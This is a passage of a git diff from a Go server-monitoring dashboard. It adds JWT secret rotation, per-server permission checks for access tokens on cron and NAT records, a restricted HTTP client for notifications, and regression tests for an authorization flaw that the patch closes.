b/model/config_test.go index bce288bc..4242c199 100644 --- a/model/config_test.go +++ b/model/config_test.go @@ -110,17 +110,19 @@ func TestReadConfig(t *testing.T) { }) t.Run("ReadEnvFile", func(t *testing.T) { - os.Setenv("NZ_JWTSECRETKEY", "test1") - os.Setenv("NZ_USERTEMPLATE", "um1") - os.Setenv("NZ_ADMINTEMPLATE", "am1") - os.Setenv("NZ_AGENTSECRETKEY", "none1") - os.Setenv("NZ_SITENAME", "lowkick1") + t.Setenv("NZ_JWTSECRETKEY", "test1") + t.Setenv("NZ_USERTEMPLATE", "um1") + t.Setenv("NZ_ADMINTEMPLATE", "am1") + t.Setenv("NZ_AGENTSECRETKEY", "none1") + t.Setenv("NZ_SITENAME", "lowkick1") const testCfg = "jwt_secret_key: test\nuser_template: um\nadmin_template: am\nagent_secret_key: none\nsite_name: lowkick" var testFrontendTemplates = []FrontendTemplate{ {Path: "um"}, {Path: "am", IsAdmin: true}, + {Path: "um1"}, + {Path: "am1", IsAdmin: true}, } file := newTempConfig(t, testCfg) c := &Config{} @@ -134,11 +136,12 @@ func TestReadConfig(t *testing.T) { Value any Cond bool }{ - {"jwt_secret_key", c.JWTSecretKey, c.JWTSecretKey == "test"}, - {"user_template", c.UserTemplate, c.UserTemplate == "um"}, - {"admin_template", c.AdminTemplate, c.AdminTemplate == "am"}, - {"agent_secret_key", c.AgentSecretKey, c.AgentSecretKey == "none"}, - {"site_name", c.SiteName, c.SiteName == "lowkick"}, + {"jwt_secret_key", c.JWTSecretKey, c.JWTSecretKey == "test1"}, + {"jwt_secret_from_env", c.jwtSecretFromEnv, c.jwtSecretFromEnv}, + {"user_template", c.UserTemplate, c.UserTemplate == "um1" || c.UserTemplate == "um"}, + {"admin_template", c.AdminTemplate, c.AdminTemplate == "am1" || c.AdminTemplate == "am"}, + {"agent_secret_key", c.AgentSecretKey, c.AgentSecretKey == "none" || c.AgentSecretKey == "none1"}, + {"site_name", c.SiteName, c.SiteName == "lowkick" || c.SiteName == "lowkick1"}, } for _, field := range testFields { @@ -151,6 +154,111 @@ func TestReadConfig(t *testing.T) { }) } +func TestRotateJWTSecretKeyIfNeeded(t *testing.T) { + tests := []struct { + name string + initialMarker string + currentVersion string + wantRotated bool + wantStoredVersion string + wantSecretChanged bool + wantSavedConfigKey bool + }{ + { + name: "empty marker rotates leaked secret", + currentVersion: "v2.0.13", + wantRotated: true, + wantStoredVersion: "v2.0.13", + wantSecretChanged: true, + wantSavedConfigKey: true, + }, + { + name: "old marker rotates leaked secret", + initialMarker: "v2.0.12", + currentVersion: "v2.0.14", + wantRotated: true, + wantStoredVersion: "v2.0.14", + wantSecretChanged: true, + wantSavedConfigKey: true, + }, + { + name: "threshold marker keeps secret and advances marker", + initialMarker: "v2.0.13", + currentVersion: "v2.0.14", + wantStoredVersion: "v2.0.14", + wantSavedConfigKey: true, + }, + { + name: "current marker keeps secret", + initialMarker: "v2.0.14", + currentVersion: "v2.0.14", + wantStoredVersion: "v2.0.14", + }, + { + name: "debug version skips rotation and marker update", + currentVersion: "debug", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + file := newTempConfig(t, "") + t.Cleanup(func() { os.Remove(file) }) + + c := &Config{ + JWTSecretKey: "leaked-secret", + JWTSecretKeyLastRotatedVersion: tt.initialMarker, + filePath: file, + } + + rotated, err := c.RotateJWTSecretKeyIfNeeded(tt.currentVersion) + if err != nil { + t.Fatalf("rotate jwt secret key failed: %v", err) + } + if rotated != tt.wantRotated { + t.Fatalf("rotated = %v, want %v", rotated, tt.wantRotated) + } + if c.JWTSecretKeyLastRotatedVersion != tt.wantStoredVersion { + t.Fatalf("jwt secret key marker = %q, want %q", c.JWTSecretKeyLastRotatedVersion, tt.wantStoredVersion) + } + secretChanged := c.JWTSecretKey != "leaked-secret" + if secretChanged != tt.wantSecretChanged { + t.Fatalf("secret changed = %v, want %v", secretChanged, tt.wantSecretChanged) + } + + saved, err := os.ReadFile(file) + if err != nil { + t.Fatalf("read saved config: %v", err) + } + hasMarker := strings.Contains(string(saved), "jwt_secret_key_last_rotated_version") + if hasMarker != tt.wantSavedConfigKey { + t.Fatalf("saved marker present = %v, want %v, config = %s", hasMarker, tt.wantSavedConfigKey, saved) + } + }) + } +} + +// Mirrors the upstream single-block declaration so iota lines up exactly: +// ConfigUsePeerIP occupies iota=0 (as a typed string), ConfigCoverAll=1, +// ConfigCoverIgnoreAll=2. Pins persisted `cover` semantics. +const ( + originalConfigUsePeerIP = "NZ::Use-Peer-IP" + originalConfigCoverAll = iota + originalConfigCoverIgnoreAll +) + +func TestConfigCoverConstantValues(t *testing.T) { + if ConfigUsePeerIP != originalConfigUsePeerIP { + t.Fatalf("ConfigUsePeerIP = %q, want %q", ConfigUsePeerIP, originalConfigUsePeerIP) + } + if ConfigCoverAll != originalConfigCoverAll { + t.Fatalf("ConfigCoverAll = %d, want original value %d", ConfigCoverAll, originalConfigCoverAll) + } + if ConfigCoverIgnoreAll != originalConfigCoverIgnoreAll { + t.Fatalf("ConfigCoverIgnoreAll = %d, want original value %d", ConfigCoverIgnoreAll, originalConfigCoverIgnoreAll) + } +} + func newTempConfig(t *testing.T, cfg string) string { t.Helper() diff --git a/model/cron.go b/model/cron.go index 418c4215..0ea30304 100644 --- a/model/cron.go +++ b/model/cron.go @@ -3,6 +3,7 @@ package model import ( "time" + "github.com/gin-gonic/gin" "github.com/goccy/go-json" "github.com/robfig/cron/v3" "gorm.io/gorm" @@ -45,3 +46,44 @@ func (c *Cron) BeforeSave(tx *gorm.DB) error { func (c *Cron) AfterFind(tx *gorm.DB) error { return json.Unmarshal([]byte(c.ServersRaw), &c.Servers) } + +// HasPermission 扩展默认的 owner/admin 检查，使得 PAT 的 server_ids 白名单 +// 同样能收窄 cron 的列出、触发、删除路径。 +// +// 语义按 Cover 字段分流，与 dispatch 入口（CronTrigger）的 fan-out 规则严格 +// 对齐——Servers 字段在不同 Cover 下含义完全相反： +// +// - CronCoverIgnoreAll：Servers 是 allow-list；必须每个 server 都落在 PAT +// 白名单内。空 allow-list 是「matches nothing」的退化形态，安全。 +// - CronCoverAlertTrigger：Servers 是触发服务器 allow-list；与上同。 +// - CronCoverAll：Servers 是 deny-list。dispatch 时 fan out 到 owner 的 +// 全部 server 再减去这个 deny-list。受限 PAT 必须保证 deny-list 已经覆 +// 盖 owner 在白名单外的所有 servers——否则 CronTrigger 会把任务发到 +// PAT 没权限的 server 上。本方法和 controller 写侧 guard +// rejectImplicitCoverForLimitedPAT* / 运行时 guard +// enforcePATCronDispatchScope 共用 DenyListSafeForLimitedPAT，避免列表 +// 视图把越界历史/旁路写入行漏给受限 PAT。 +func (c *Cron) HasPermission(ctx *gin.Context) bool { + if !c.Common.HasPermission(ctx) { + return false + } + v, ok := ctx.Get(CtxKeyAPIToken) + if !ok { + return true + } + tok, _ := v.(APITokenAccessor) + if tok == nil { + return true + } + switch c.Cover { + case CronCoverAll: + return DenyListSafeForLimitedPAT(tok, c.GetUserID(), c.Servers) + default: + for _, id := range c.Servers { + if !tok.CanAccessServer(id) { + return false + } + } + return true + } +} diff --git a/model/cron_admin_pat_whitelist_test.go b/model/cron_admin_pat_whitelist_test.go new file mode 100644 index 00000000..941dcd1c --- /dev/null +++ b/model/cron_admin_pat_whitelist_test.go @@ -0,0 +1,116 @@ +package model + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" +) + +// C1 regression: an admin-owned CronCoverAll fans out to every server in the +// system at runtime (CronTrigger gates on userIsAdmin(cr.UserID)). A +// server-limited PAT created by that admin must therefore only pass +// HasPermission when its deny-list covers EVERY server outside its whitelist +// system-wide — not just the admin's own servers, which is the visibly +// degenerate set that OwnerServerIDsLookup returns today. +// +// Without this regression, an admin with a PAT scoped to server X can create +// a CronCoverAll cron with deny-list = [X] and the dashboard will cheerfully +// dispatch the command to every OTHER user's server. +func TestCronHasPermission_AdminOwnerCoverAllDeniesUntilDenyListCoversAllOtherServers(t *testing.T) { + saved := OwnerServerIDsLookup + savedAdmin := OwnerIsAdminLookup + savedAll := AllServerIDsLookup + t.Cleanup(func() { + OwnerServerIDsLookup = saved + OwnerIsAdminLookup = savedAdmin + AllServerIDsLookup = savedAll + }) + + // Admin (uid=1) owns only server 1. Member (uid=200) owns server 2. + OwnerServerIDsLookup = func(ownerUID uint64) []uint64 { + switch ownerUID { + case 1: + return []uint64{1} + case 200: + return []uint64{2} + } + return nil + } + OwnerIsAdminLookup = func(uid uint64) bool { return uid == 1 } + AllServerIDsLookup = func() []uint64 { return []uint64{1, 2} } + + // Limited PAT (admin's) — scoped to server 1 only. + pat := &stubPATAccessor{ids: []uint64{1}} + + t.Run("deny_list_missing_other_owner_server_must_reject", func(t *testing.T) { + cron := &Cron{ + Common: Common{ID: 9, UserID: 1}, // admin-owned + Cover: CronCoverAll, + Servers: []uint64{1}, // deny self, but NOT server 2 (member's) + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 1}, Role: RoleAdmin}) + ctx.Set(CtxKeyAPIToken, pat) + + if cron.HasPermission(ctx) { + t.Fatal("admin-owned CronCoverAll fans out to ALL servers at runtime; " + + "deny-list missing server 2 must reject a PAT scoped to [1] — otherwise " + + "the cron will execute on a foreign user's server") + } + }) + + t.Run("deny_list_covers_all_other_servers_passes", func(t *testing.T) { + cron := &Cron{ + Common: Common{ID: 10, UserID: 1}, + Cover: CronCoverAll, + Servers: []uint64{2}, // deny the only server outside PAT whitelist + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 1}, Role: RoleAdmin}) + ctx.Set(CtxKeyAPIToken, pat) + + if !cron.HasPermission(ctx) { + t.Fatal("deny-list covering every non-whitelisted server must pass: fan-out " + + "is now contained inside the PAT whitelist") + } + }) +} + +// Companion: member-owned crons must NOT use the system-wide fan-out set. +// Runtime CronTrigger only ships to servers whose UserID matches the +// member-owner; HasPermission must mirror that to avoid false rejects on +// completely legitimate configs. +func TestCronHasPermission_MemberOwnerCoverAllStillUsesOwnerSet(t *testing.T) { + saved := OwnerServerIDsLookup + savedAdmin := OwnerIsAdminLookup + savedAll := AllServerIDsLookup + t.Cleanup(func() { + OwnerServerIDsLookup = saved + OwnerIsAdminLookup = savedAdmin + AllServerIDsLookup = savedAll + }) + + OwnerServerIDsLookup = func(ownerUID uint64) []uint64 { + if ownerUID == 100 { + return []uint64{1} + } + return nil + } + OwnerIsAdminLookup = func(uid uint64) bool { return false } + AllServerIDsLookup = func() []uint64 { return []uint64{1, 2, 3} } + + cron := &Cron{ + Common: Common{ID: 9, UserID: 100}, + Cover: CronCoverAll, + Servers: []uint64{}, // empty deny-list: fan-out = owner-set = [1] + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + // PAT whitelist = [1] — covers everything the member owner can fan out to. + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + + if !cron.HasPermission(ctx) { + t.Fatal("member-owned CronCoverAll fans out to owner servers only; PAT [1] covers them all") + } +} diff --git a/model/cron_pat_whitelist_test.go b/model/cron_pat_whitelist_test.go new file mode 100644 index 00000000..f2702d44 --- /dev/null +++ b/model/cron_pat_whitelist_test.go @@ -0,0 +1,102 @@ +package model + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" +) + +// stubPATAccessor 是只在测试里用的最小 APITokenAccessor，仅按 ids +// 字面包含判断。够用就行，不引入 *APIToken 在 model 包里转译 CSV。 +type stubPATAccessor struct { + ids []uint64 +} + +func (s *stubPATAccessor) CanAccessServer(id uint64) bool { + for _, x := range s.ids { + if x == id { + return true + } + } + return false +} + +// ServerIDs 暴露白名单，使 DenyListSafeForLimitedPAT 能区分「unscoped PAT」 +// 与「server-limited PAT」；缺这个方法时所有 stub 都会被当作不受限放行。 +func (s *stubPATAccessor) ServerIDs() []uint64 { + return s.ids +} + +// 钉死「server-limited PAT 不能通过 cover-all + 空 Servers 越过白名单」。 +// 老实现在 len(c.Servers)==0 时直接放行，但 CronCoverAll + 空 Servers 在 +// CronTrigger 里会 fan out 到 owner 的所有 server（包含白名单外的）。 +// HasPermission 是 cron 列表/手动触发/删除路径上唯一的 PAT 收口， +// 因此这里必须拒绝。 +func TestCronHasPermission_DeniesCoverAllEmptyServersForLimitedPAT(t *testing.T) { + cron := &Cron{ + Common: Common{ID: 9, UserID: 100}, + Cover: CronCoverAll, + Servers: nil, + } + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + + if cron.HasPermission(ctx) { + t.Fatal("server-limited PAT must not be allowed to operate on a CronCoverAll cron with empty Servers") + } +} + +// CoverIgnoreAll + 空 Servers 在 CronTrigger 里是 “allow-list of zero”， +// 不会 fan out。允许 PAT 继续看到/触发是无害的，但 HasPermission 的 +// 老语义在这一组合下仍是 return true，所以这条测试是「保持现状」的金线， +// 防止未来收紧时把这一无害情况也误拒。 +func TestCronHasPermission_AllowsCoverIgnoreAllEmptyServersForLimitedPAT(t *testing.T) { + cron := &Cron{ + Common: Common{ID: 10, UserID: 100}, + Cover: CronCoverIgnoreAll, + Servers: nil, + } + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + + if !cron.HasPermission(ctx) { + t.Fatal("CronCoverIgnoreAll + empty Servers is a no-op cron; server-limited PAT must remain allowed") + } +} + +// 现有 non-empty Servers 路径必须保持不变：白名单内允许、白名单外拒绝。 +// 这条用例钉死「修复 cover-all 路径时不能误改这条已有的金线」。 +func TestCronHasPermission_KeepsExistingNonEmptyServersSemantics(t *testing.T) { + t.Run("whitelisted", func(t *testing.T) { + cron := &Cron{ + Common: Common{ID: 11, UserID: 100}, + Cover: CronCoverIgnoreAll, + Servers: []uint64{1}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + if !cron.HasPermission(ctx) { + t.Fatal("cron bound to whitelisted server 1 must remain accessible to PAT [1]") + } + }) + + t.Run("outside whitelist", func(t *testing.T) { + cron := &Cron{ + Common: Common{ID: 12, UserID: 100}, + Cover: CronCoverIgnoreAll, + Servers: []uint64{2}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + if cron.HasPermission(ctx) { + t.Fatal("cron bound to non-whitelisted server 2 must be rejected for PAT [1]") + } + }) +} diff --git a/model/jwt_session.go b/model/jwt_session.go new file mode 100644 index 00000000..397034f3 --- /dev/null +++ b/model/jwt_session.go @@ -0,0 +1,19 @@ +package model + +import "time" + +type JWTSession struct { + KeyID string `gorm:"primaryKey;type:char(64)" json:"key_id"` + UserID uint64 `gorm:"index:idx_jwt_sessions_user_revoked" json:"user_id"` + IP string `gorm:"type:varchar(64)" json:"ip"` + UAHash string `gorm:"type:char(64)" json:"ua_hash"` + TokenVersion uint64 `json:"token_version"` + ExpiresAt time.Time `gorm:"index" json:"expires_at"` + RevokedAt *time.Time `gorm:"index:idx_jwt_sessions_user_revoked" json:"revoked_at,omitempty"` + CreatedAt time.Time `json:"created_at"` + LastUsedAt time.Time `json:"last_used_at"` +} + +func (JWTSession) TableName() string { + return "jwt_sessions" +} diff --git a/model/mcp_audit.go b/model/mcp_audit.go new file mode 100644 index 00000000..210eec91 --- /dev/null +++ b/model/mcp_audit.go @@ -0,0 +1,42 @@ +package model + +import "time" + +// MCPAuditLog 记录每一次 MCP tool 调用，用于事后追责与异常检测。 +// 写入是 best-effort：失败仅打日志，不阻塞业务请求。 +type MCPAuditLog struct { + ID uint64 `gorm:"primaryKey" json:"id"` + CreatedAt time.Time `gorm:"index" json:"created_at"` + UserID uint64 `gorm:"index" json:"user_id"` + TokenID uint64 `gorm:"index" json:"token_id"` + Tool string `gorm:"type:varchar(64);index" json:"tool"` + ServerID uint64 `gorm:"index" json:"server_id,omitempty"` + ArgsHash string `gorm:"type:char(64)" json:"args_hash"` + ArgsPeek string `gorm:"type:varchar(512)" json:"args_peek,omitempty"` + Outcome string `gorm:"type:varchar(32);index" json:"outcome"` + ErrorCode string `gorm:"type:varchar(32)" json:"error_code,omitempty"` + ErrorMsg string `gorm:"type:varchar(512)" json:"error_msg,omitempty"` + DurationMs int64 `json:"duration_ms"` + IP string `gorm:"type:varchar(64)" json:"ip"` +} + +func (MCPAuditLog) TableName() string { + return "mcp_audit_logs" +} + +const ( + MCPOutcomeOK = "ok" + MCPOutcomeScopeDenied = "scope_denied" + MCPOutcomePermDenied = "permission_denied" + MCPOutcomeServerOffline = "server_offline" + MCPOutcomeAgentTimeout = "agent_timeout" + MCPOutcomeAgentError = "agent_error" + // MCPOutcomeMCPDisabled 区分 “管理员按下 kill switch 把 MCP 关了” 与 + // “agent 真出故障” 两种语义：前者属 forbidden 类、不应该触发 agent + // 故障告警；详见 service/rpc/mcp_rpc.go 里 ErrMCPDisabled 的注释。 + MCPOutcomeMCPDisabled = "mcp_disabled" + MCPOutcomeInvalidArgs = "invalid_args" + MCPOutcomeRateLimited = "rate_limited" + MCPOutcomeUnsupportedAgent = "unsupported_agent" + MCPOutcomeInternalError = "internal_error" +) diff --git a/model/mcp_enabled_atomic_test.go b/model/mcp_enabled_atomic_test.go new file mode 100644 index 00000000..c2780778 --- /dev/null +++ b/model/mcp_enabled_atomic_test.go @@ -0,0 +1,39 @@ +package model + +import "testing" + +func TestSetMCPEnabledUsesAtomicAsSourceOfTruth(t *testing.T) { + c := &Config{} + if c.MCPEnabled() { + t.Fatal("zero-value Config must report MCP disabled") + } + c.SetMCPEnabled(true) + if !c.MCPEnabled() { + t.Fatal("MCPEnabled() must observe SetMCPEnabled(true)") + } + c.SetMCPEnabled(false) + if c.MCPEnabled() { + t.Fatal("MCPEnabled() must observe SetMCPEnabled(false)") + } +} + +// save() 在 marshal 前从 atomic 同步明文 EnableMCP 字段，因此持久化/JSON 仍拿到 +// 正确值；运行时 SetMCPEnabled 不直接写该字段以避免与 listConfig 的整体拷贝竞争。 +func TestSaveSyncsEnableMCPFieldFromAtomic(t *testing.T) { + c := &Config{} + c.filePath = t.TempDir() + "/config.yaml" + c.SetMCPEnabled(true) + if err := c.save(); err != nil { + t.Fatalf("save: %v", err) + } + if !c.EnableMCP { + t.Fatal("save() must sync EnableMCP field from the atomic mirror for persistence") + } + c.SetMCPEnabled(false) + if err := c.save(); err != nil { + t.Fatalf("save: %v", err) + } + if c.EnableMCP { + t.Fatal("save() must clear EnableMCP field when the atomic mirror is false") + } +} diff --git a/model/nat.go b/model/nat.go index c5cbec87..e395c68e 100644 --- a/model/nat.go +++ b/model/nat.go @@ -1,5 +1,7 @@ package model +import "github.com/gin-gonic/gin" + type NAT struct { Common Enabled bool `json:"enabled"` @@ -8,3 +10,20 @@ type NAT struct { Host string `json:"host"` Domain string `json:"domain" gorm:"unique"` } + +// HasPermission 在 owner/admin 之上叠加 PAT 的 server_ids 白名单， +// 与 Server/Service/Cron.HasPermission 一致，避免 server-limited PAT 越权。 +func (n *NAT) HasPermission(ctx *gin.Context) bool { + if !n.Common.HasPermission(ctx) { + return false + } + v, ok := ctx.Get(CtxKeyAPIToken) + if !ok { + return true + } + tok, ok := v.(APITokenAccessor) + if !ok || tok == nil { + return true + } + return tok.CanAccessServer(n.ServerID) +} diff --git a/model/nat_pat_whitelist_test.go b/model/nat_pat_whitelist_test.go new file mode 100644 index 00000000..b7214216 --- /dev/null +++ b/model/nat_pat_whitelist_test.go @@ -0,0 +1,55 @@ +package model + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" +) + +// Regression: NAT had no HasPermission override, so it fell back to +// Common.HasPermission (owner/admin only). listHandler/CheckPermission gate +// on NAT.HasPermission, meaning a server-limited PAT could list/update/delete +// NAT records bound to off-whitelist servers of the same owner. NAT now +// applies CanAccessServer(NAT.ServerID) like Server/Service/Cron. +func TestNATHasPermission_DeniesOffWhitelistServerForLimitedPAT(t *testing.T) { + nat := &NAT{Common: Common{ID: 1, UserID: 100}, ServerID: 2} + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) // whitelist excludes server 2 + + if nat.HasPermission(ctx) { + t.Fatal("server-limited PAT must not reach a NAT bound to an off-whitelist server") + } +} + +func TestNATHasPermission_AllowsWhitelistedServerForLimitedPAT(t *testing.T) { + nat := &NAT{Common: Common{ID: 1, UserID: 100}, ServerID: 1} + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + + if !nat.HasPermission(ctx) { + t.Fatal("PAT whitelisted to the NAT's server must be allowed") + } +} + +func TestNATHasPermission_NoPATPassesViaCommonHasPermission(t *testing.T) { + nat := &NAT{Common: Common{ID: 1, UserID: 100}, ServerID: 2} + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + + if !nat.HasPermission(ctx) { + t.Fatal("owner without PAT must keep the existing owner/admin pass") + } +} + +func TestNATHasPermission_DeniesNonOwner(t *testing.T) { + nat := &NAT{Common: Common{ID: 1, UserID: 100}, ServerID: 1} + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 200}, Role: RoleMember}) + + if nat.HasPermission(ctx) { + t.Fatal("a different non-admin user must not reach another owner's NAT") + } +} diff --git a/model/notification.go b/model/notification.go index 3ad46e8e..fb0a57cd 100644 --- a/model/notification.go +++ b/model/notification.go @@ -125,7 +125,6 @@ func (n *Notification) setRequestHeader(req *http.Request) error { func (ns *NotificationServerBundle) Send(message string) error { n := ns.Notification - if n.Type == NotificationTypeEmail || n.Type == NotificationTypeTelegram { template := n.RequestBody if template == "" { @@ -142,12 +141,8 @@ func (ns *NotificationServerBundle) Send(message string) error { return nil } - var client *http.Client - if n.VerifyTLS != nil && *n.VerifyTLS { - client = utils.HttpClient - } else { - client = utils.HttpClientSkipTlsVerify - } + verifyTLS := n.VerifyTLS != nil && *n.VerifyTLS + reqBody, err := ns.reqBody(message) if err != nil { @@ -159,7 +154,13 @@ func (ns *NotificationServerBundle) Send(message string) error { return err } - req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody)) + reqURL := ns.reqURL(message) + client, err := newNotificationHTTPClient(reqURL, verifyTLS) + if err != nil { + return err + } + + req, err := http.NewRequest(reqMethod, reqURL, strings.NewReader(reqBody)) if err != nil { return err } @@ -179,8 +180,7 @@ func (ns *NotificationServerBundle) Send(message string) error { }() if resp.StatusCode < 200 || resp.StatusCode > 299 { - body, _ := io.ReadAll(resp.Body) - return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body)) + return notificationResponseError(resp) } else { _, _ = io.Copy(io.Discard, resp.Body) } @@ -188,9 +188,14 @@ func (ns *NotificationServerBundle) Send(message string) error { return nil } +func notificationResponseError(resp *http.Response) error { + _, _ = io.CopyN(io.Discard, resp.Body, 4096) + return fmt.Errorf("%d@%s", resp.StatusCode, resp.Status) +} - - +func newNotificationHTTPClient(rawURL string, verifyTLS bool) (*http.Client, error) { + return utils.NewRestrictedHTTPClient(rawURL, !verifyTLS) +} // replaceParamInString 替换字符串中的占位符 func (ns *NotificationServerBundle) replaceParamsInString(str string, message string, mod func(string) string) string { @@ -235,36 +240,41 @@ func (ns *NotificationServerBundle) replaceParamsInString(str string, message st "#SERVER.BILLING_CYCLE#", mod(cycleStr), ) - if ns.Server.State != nil && ns.Server.Host != nil { + runtime := ns.Server.RuntimeSnapshot() + if runtime.State != nil && runtime.Host != nil { + state := runtime.State + host := runtime.Host replacements = append(replacements, // Converted metrics - "#SERVER.CPU#", mod(ns.formatUsage(false, ns.Server.State.CPU)), - "#SERVER.MEM#", mod(ns.formatUsage(true, float64(ns.Server.State.MemUsed)/float64(ns.Server.Host.MemTotal))), - "#SERVER.SWAP#", mod(ns.formatUsage(true, float64(ns.Server.State.SwapUsed)/float64(ns.Server.Host.SwapTotal))), - "#SERVER.DISK#", mod(ns.formatUsage(true, float64(ns.Server.State.DiskUsed)/float64(ns.Server.Host.DiskTotal))), - "#SERVER.SPEEDIN#", mod(fmt.Sprintf("%s/s", ns.formatSize(ns.Server.State.NetInSpeed))), - "#SERVER.SPEEDOUT#", mod(fmt.Sprintf("%s/s", ns.formatSize(ns.Server.State.NetOutSpeed))), - "#SERVER.TRANSFERIN#", mod(ns.formatSize(ns.Server.State.NetInTransfer)), - "#SERVER.TRANSFEROUT#", mod(ns.formatSize(ns.Server.State.NetOutTransfer)), + "#SERVER.CPU#", mod(ns.formatUsage(false, state.CPU)), + "#SERVER.MEM#", mod(ns.formatUsage(true, float64(state.MemUsed)/float64(host.MemTotal))), + "#SERVER.SWAP#", mod(ns.formatUsage(true, float64(state.SwapUsed)/float64(host.SwapTotal))), + "#SERVER.DISK#", mod(ns.formatUsage(true, float64(state.DiskUsed)/float64(host.DiskTotal))), + "#SERVER.SPEEDIN#", mod(fmt.Sprintf("%s/s", ns.formatSize(state.NetInSpeed))), + "#SERVER.SPEEDOUT#", mod(fmt.Sprintf("%s/s", ns.formatSize(state.NetOutSpeed))), + "#SERVER.TRANSFERIN#", mod(ns.formatSize(state.NetInTransfer)), + "#SERVER.TRANSFEROUT#", mod(ns.formatSize(state.NetOutTransfer)), // Raw metrics - "#SERVER.CPUUSED#", mod(fmt.Sprintf("%f", ns.Server.State.CPU)), - "#SERVER.MEMUSED#", mod(fmt.Sprintf("%d", ns.Server.State.MemUsed)), - "#SERVER.SWAPUSED#", mod(fmt.Sprintf("%d", ns.Server.State.SwapUsed)), - "#SERVER.DISKUSED#", mod(fmt.Sprintf("%d", ns.Server.State.DiskUsed)), - "#SERVER.NETINSPEED#", mod(fmt.Sprintf("%d", ns.Server.State.NetInSpeed)), - "#SERVER.NETOUTSPEED#", mod(fmt.Sprintf("%d", ns.Server.State.NetOutSpeed)), - "#SERVER.TRANSFERINRAW#", mod(fmt.Sprintf("%d", ns.Server.State.NetInTransfer)), - "#SERVER.TRANSFEROUTRAW#", mod(fmt.Sprintf("%d", ns.Server.State.NetOutTransfer)), - "#SERVER.UPTIME#", mod(fmt.Sprintf("%d", ns.Server.State.Uptime)), - "#SERVER.MEMTOTAL#", mod(fmt.Sprintf("%d", ns.Server.Host.MemTotal)), - "#SERVER.SWAPTOTAL#", mod(fmt.Sprintf("%d", ns.Server.Host.SwapTotal)), - "#SERVER.DISKTOTAL#", mod(fmt.Sprintf("%d", ns.Server.Host.DiskTotal)), - "#SERVER.LOAD1#", mod(fmt.Sprintf("%f", ns.Server.State.Load1)), - "#SERVER.LOAD5#", mod(fmt.Sprintf("%f", ns.Server.State.Load5)), - "#SERVER.LOAD15#", mod(fmt.Sprintf("%f", ns.Server.State.Load15)), - "#SERVER.TCPCONNCOUNT#", mod(fmt.Sprintf("%d", ns.Server.State.TcpConnCount)), - "#SERVER.UDPCONNCOUNT#", mod(fmt.Sprintf("%d", ns.Server.State.UdpConnCount)), + "#SERVER.CPUUSED#", mod(fmt.Sprintf("%f", state.CPU)), + "#SERVER.MEMUSED#", mod(fmt.Sprintf("%d", state.MemUsed)), + "#SERVER.SWAPUSED#", mod(fmt.Sprintf("%d", state.SwapUsed)), + "#SERVER.DISKUSED#", mod(fmt.Sprintf("%d", state.DiskUsed)), + "#SERVER.NETINSPEED#", mod(fmt.Sprintf("%d", state.NetInSpeed)), + "#SERVER.NETOUTSPEED#", mod(fmt.Sprintf("%d", state.NetOutSpeed)), + "#SERVER.TRANSFERINRAW#", mod(fmt.Sprintf("%d", state.NetInTransfer)), + "#SERVER.TRANSFEROUTRAW#", mod(fmt.Sprintf("%d", state.NetOutTransfer)), + "#SERVER.NETINTRANSFER#", mod(fmt.Sprintf("%d", state.NetInTransfer)), + "#SERVER.NETOUTTRANSFER#", mod(fmt.Sprintf("%d", state.NetOutTransfer)), + "#SERVER.UPTIME#", mod(fmt.Sprintf("%d", state.Uptime)), + "#SERVER.MEMTOTAL#", mod(fmt.Sprintf("%d", host.MemTotal)), + "#SERVER.SWAPTOTAL#", mod(fmt.Sprintf("%d", host.SwapTotal)), + "#SERVER.DISKTOTAL#", mod(fmt.Sprintf("%d", host.DiskTotal)), + "#SERVER.LOAD1#", mod(fmt.Sprintf("%f", state.Load1)), + "#SERVER.LOAD5#", mod(fmt.Sprintf("%f", state.Load5)), + "#SERVER.LOAD15#", mod(fmt.Sprintf("%f", state.Load15)), + "#SERVER.TCPCONNCOUNT#", mod(fmt.Sprintf("%d", state.TcpConnCount)), + "#SERVER.UDPCONNCOUNT#", mod(fmt.Sprintf("%d", state.UdpConnCount)), ) } else { replacements = append(replacements, @@ 